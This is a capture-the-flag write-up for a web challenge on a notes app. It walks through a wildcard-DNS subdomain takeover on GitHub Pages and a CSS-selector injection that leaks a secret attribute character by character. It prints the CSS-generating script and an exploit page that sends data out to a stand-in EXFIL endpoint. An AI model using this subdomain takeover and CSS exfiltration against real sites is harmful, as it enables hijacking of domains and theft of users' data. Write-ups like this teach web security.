Undocumented js-api

Description

I asked my web developer friend to create a secure app for storing my HTML notes, but he left halfway through the project. If you find any bugs in the app, just report it to me at netcat url.

Solution

Initial Analysis

The challenge was hosted at https://chall1.jsapi.tech, which we can easily tell is a GitHub pages site.

The page provides an interface to write and save notes in HTML. This is implemented by the script.js script.

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>HTML Tester</title>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="./style.css" rel="stylesheet">
    <meta http-equiv="Content-Security-Policy" content="script-src 'self' cdnjs.cloudflare.com; object-src 'none'; frame-src 'none'; style-src 'self' fonts.googleapis.com *.jsapi.tech;">
    <link href="https://fonts.googleapis.com/css2?family=Roboto+Mono:ital,wght@0,300;0,400;0,500;0,600;1,300;1,400;1,500&display=swap" rel="stylesheet">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.3.0/purify.min.js" integrity="sha512-FJzrdtFBVzaaehq9mzbhljqwJ7+jE0GyTa8UBxZdMsMUjflR25f5lJSGD0lmQPHnhQfnctG0B1TNQsObwyJUzA==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
  </head>
  <body>
    <div id="wrapper">
      <header id="header-section">
      <h1>HTML Notes</h1>
      <h2>Test your latest HTML based creations and save them to show to your friends later.</h2>
      </header>
      <form id="note" method="post" action="/html_note">
        <div id="note-text-area-wrapper"><textarea id="note-text-area" name="note"></textarea></div>
        <div id="submit-wrapper"><button type="submit" id="note-submit">Save and render</button><button id="note-go-back">Get last render</button></div>
        <!-- // TODO:(sohom) Implement these before the next update load data from print.jsapi.live -->
        <!-- <div id="print-wrapper"><button type="submit" id="note-print-preview">Preview Print</button><button id="note-print">Print</button></div> -->
      </form>
      <div id="output"></div>
      <footer id="ad">We are also working on a experimental iframe-based JS API. Feel free check it out and report any issues you face.</footer>
    </div>
    <script src="./script.js">
    </script>
  </body>
</html>

'use strict';
window.addEventListener("load", () => {
  window.a = "*";
  const onmessage = (name) => {
    return window.parent.postMessage(name, window.a);
  };
  const parseUrl = (url) => {
    //return (new URL(url)).host.endsWith(".jsapi.tech");
    return true
  };
  const el_form_login_form = document.getElementById("note");
  const parsed = document.getElementById("note-text-area");
  const tmp = document.getElementById("output");
  const back = document.getElementById("note-go-back")
  const preview_print = document.getElementById("note-print-preview");
  const printBtn = document.getElementById("note-print");
  const self = new class {
    constructor() {
      this.note = window.localStorage.getItem("note") || null;
    }
    set(str) {
      console.log(`NOTE_APP_SETTER_CALL ${str}`);
      window.localStorage.setItem("note", str);
      var bookmarkName = DOMPurify.sanitize(str, {ADD_TAGS: ['link','style']}); // allow CSS
      tmp.innerHTML = bookmarkName;
      parsed.setAttribute( 'data-last', self.get() );
      this.note = str;
      parsed.value = str;
    }
    get() {
      return console.log("NOTE_APP_GETTER_CALL"), this.note || parsed.getAttribute( 'data-last' ) || window.localStorage.getItem("note");
    }
    goBack() {
      this.set( parsed.getAttribute( 'data-last' ) );
    }
  };
  el_form_login_form.addEventListener("submit", (event) => {
    return event.preventDefault(), event = parsed.value, self.set(event), false;
  });
  back.addEventListener("click", (event) => {
    event.preventDefault();
    self.goBack();
  });
  self.set(self.get());
  window.addEventListener("beforeunload", () => {
    onmessage("NOTE_APP_API_UNLOADED");
  });
  const urlInstance = new URL(window.location.href);
  return ("true" === urlInstance.searchParams.get("enableapi") && parseUrl(urlInstance.searchParams.get("recv")) && window.parent || window.opener) && (onmessage("NOTE_APP_API_LOADED"), window.a = urlInstance.searchParams.get("recv"), window.addEventListener("message", async(event) => {
    var factor_text;
    if (parseUrl(event.origin)) {
      if ("string" == typeof event.data) {
        if (event.data.startsWith("NOTE_APP_FLAG_REQUEST")) {
          onmessage("NOTE_APP_EXPERIMENTAL_API_CALL_MADE");
          //factor_text = (await fetch("file:///flag.txt")).text;
          factor_text = "flag{fake}"
          if (!(event.source === window)) {
            onmessage("You need to try a bit harder...");
          }
          onmessage("NOTE_APP_FLAG_REQUEST_RESPONSE " + factor_text);
        } else {
          if (event.data.startsWith("NOTE_APP_SET_REQUEST")) {
            onmessage("NOTE_APP_EXPERIMENTAL_API_CALL_MADE ");
            const [a, ...b] = event.data.split(" ");
            self.set(b.join(' '));
          }
        }
      }
    } else {
      onmessage("NOTE_APP_UNTRUSTED_ORIGIN");
    }
  })), false;
});

Analyzing the JavaScript source, we see that a message event handler is only added to the window if several conditions are met.

const onmessage = (name) => {
    return window.parent.postMessage(name, window.a);
};
const parseUrl = (url) => {
    return (new URL(url)).host.endsWith(".jsapi.tech");
};

...

return ("true" === urlInstance.searchParams.get("enableapi") && parseUrl(urlInstance.searchParams.get("recv")) && window.parent || window.opener) && (onmessage("NOTE_APP_API_LOADED"), window.a = urlInstance.searchParams.get("recv"), window.addEventListener("message", async(event) => {
    
    ...
    
})), false;

This is a very long line of code that

checks if the enableapi query parameter is set to true
checks if the recv query parameter is a subdomain of jsapi.tech
checks if the window is framed or opened by another window
sets window.a to the recv query parameter
finally, adds the message event handler

Next, we see that parseUrl is called on event.origin. In order to pass this check, the origin that our postMessage call comes from must be a subdomain of jsapi.tech.

var factor_text;
if (parseUrl(event.origin)) {
  
  ...

} else {
  onmessage("NOTE_APP_UNTRUSTED_ORIGIN");
}

Subdomain Takeover

This part is similar to Yana from UIUCTF 2021. Because a wildcard configuration is used (i.e. *.jsapi.tech), any .jsapi.tech subdomain would point to sohomdatta1.github.io.

To confirm this, we just have to use dig on any .jsapi.tech subdomain that currently does not have an associated GitHub pages site.

$ dig asdf.jsapi.tech

; <<>> DiG 9.10.6 <<>> asdf.jsapi.tech
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35437
;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;asdf.jsapi.tech.		IN	A

;; ANSWER SECTION:
asdf.jsapi.tech.	28800	IN	CNAME	sohomdatta1.github.io.
sohomdatta1.github.io.	3600	IN	A	185.199.111.153
sohomdatta1.github.io.	3600	IN	A	185.199.108.153
sohomdatta1.github.io.	3600	IN	A	185.199.109.153
sohomdatta1.github.io.	3600	IN	A	185.199.110.153

;; Query time: 353 msec
;; SERVER: 192.168.50.1#53(192.168.50.1)
;; WHEN: Wed Dec 28 20:43:09 +08 2022
;; MSG SIZE  rcvd: 143

From GitHub's documentation, users are explicitly warned against using wildcard DNS records to prevent subdomain takeovers.

When requesting for asdf.jsapi.tech, GitHub tries to find a matching repository with a CNAME file containing asdf.jsapi.tech. Because no such repository currently exists, anyone can create a new repository with this CNAME file and serve a GitHub pages site at asdf.jsapi.tech.

Aside: Stealing Exploits

I'm not sure if the challenge initially took this into account, but services like crt.sh allow users to search for certificates issued by major certificate authorities (CAs) by scraping their transparency logs. Using crt.sh, I was able to find all the subdomains created by other players attempting the challenge.

At the time of solving, there were two other solvers. Making an educated guess landed me on squ1rrel's exploit page, squ1rrel.jsapi.tech, where I pretty much found the flag and a working PoC. For completeness, I'll explain the exploit anyway :)

CSS Injection

Taking a closer look at the JavaScript source, we see that when a note is saved and self.set() is called, the note's contents go into the data-last attribute of the #note-text-area element.

Additionally, DOMPurify v2.3.0 is used to sanitize our note, with link and style tags being explicitly allowed.

const el_form_login_form = document.getElementById("note");
const parsed = document.getElementById("note-text-area");
const tmp = document.getElementById("output");
const back = document.getElementById("note-go-back")
const preview_print = document.getElementById("note-print-preview");
const printBtn = document.getElementById("note-print");

...

const self = new class {
  constructor() {
    this.note = window.localStorage.getItem("note") || null;
  }
  set(str) {
    console.log(`NOTE_APP_SETTER_CALL ${str}`);
    window.localStorage.setItem("note", str);
    var bookmarkName = DOMPurify.sanitize(str, {ADD_TAGS: ['link','style']}); // allow CSS
    tmp.innerHTML = bookmarkName;
    parsed.setAttribute( 'data-last', self.get() );
    this.note = str;
    parsed.value = str;
  }
  get() {
    return console.log("NOTE_APP_GETTER_CALL"), this.note || parsed.getAttribute( 'data-last' ) || window.localStorage.getItem("note");
  }
  goBack() {
    this.set( parsed.getAttribute( 'data-last' ) );
  }
};

We can send a postMessage starting with NOTE_APP_SET_REQUEST to save a note, allowing us to insert DOMPurify-sanitized HTML into the child iframe.

if (event.data.startsWith("NOTE_APP_SET_REQUEST")) {
  onmessage("NOTE_APP_EXPERIMENTAL_API_CALL_MADE ");
  const [a, ...b] = event.data.split(" ");
  self.set(b.join(' '));
}

The Content Security Policy (CSP) is quite restrictive, but one part stands out - stylesheets can be loaded from *.jsapi.tech, allowing us to load a CSS file from our exploit domain.

script-src 'self' cdnjs.cloudflare.com; object-src 'none'; frame-src 'none'; style-src 'self' fonts.googleapis.com *.jsapi.tech;

By the way, because a tag like <link> will get removed by the browser if it's the first thing in the HTML, passing <link rel="stylesheet" href="..."> to DOMPurify will just return an empty string. However, adding anything before the <link> tag fixes this behaviour. For example, I will use asdf<link rel="stylesheet" href="...">.

Since we are interested in the victim's saved note, we can exfiltrate the data-last attribute of the #note-text-area element using CSS attribute selectors.

For instance, the URL specified in the background of the following CSS rule is only fetched if the data-last attribute starts with the string nite{a.

textarea[data-last^='nite{a'] {
    background: url("https://EXFIL.x.pipedream.net/?data=nite%7Ba");
}

This can be extended to bruteforce all possible characters in each position of the flag, with each character having a background URL corresponding to the guessed flag.

To generate the CSS I used the following script.

import string
import urllib.parse

ENDPOINT = "https://EXFIL.x.pipedream.net/"
CURR_FLAG = "nite{n0w_we_kn0w_h0w_10_h4ck_g00gl6_w1th_c5"
CHARSET = string.ascii_letters + string.digits + "_-{}"

css = ""

for char in CHARSET:
    css += f"""
textarea[data-last^='{CURR_FLAG + char}'] {{
    background: url("{ENDPOINT}?data={urllib.parse.quote_plus(CURR_FLAG + char)}");
}}
    """

with open("exploit.css", "w") as f:
    f.write(css)

Our exploit page will simply load the challenge page as an iframe, wait for the API to be loaded, then send a postMessage linking the CSS we created above to the target page. This is added to a GitHub repository together with the CSS, and deployed to GitHub pages under a .jsapi.tech subdomain.

<html>
    <iframe src="https://chall1.jsapi.tech?enableapi=true&recv=https://zeyu.jsapi.tech"></iframe>
    <script>
        const frame = document.querySelector('iframe');

        window.addEventListener('message', (event) => {
            fetch("https://EXFIL.x.pipedream.net?" + event.data);

            if (event.data.includes("NOTE_APP_API_LOADED")) {
                frame.contentWindow.postMessage(
                    `NOTE_APP_SET_REQUEST asdf<link rel="stylesheet" href="https://zeyu.jsapi.tech/exploit.css?t=${Math.random()}"></link>`,
                    "*"
                );
            }
        });
    </script>
</html>

Exfiltrating each character is slightly annoying, as it involves redeploying our exploit GitHub page with the updated CSS.

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Last updated 2 years ago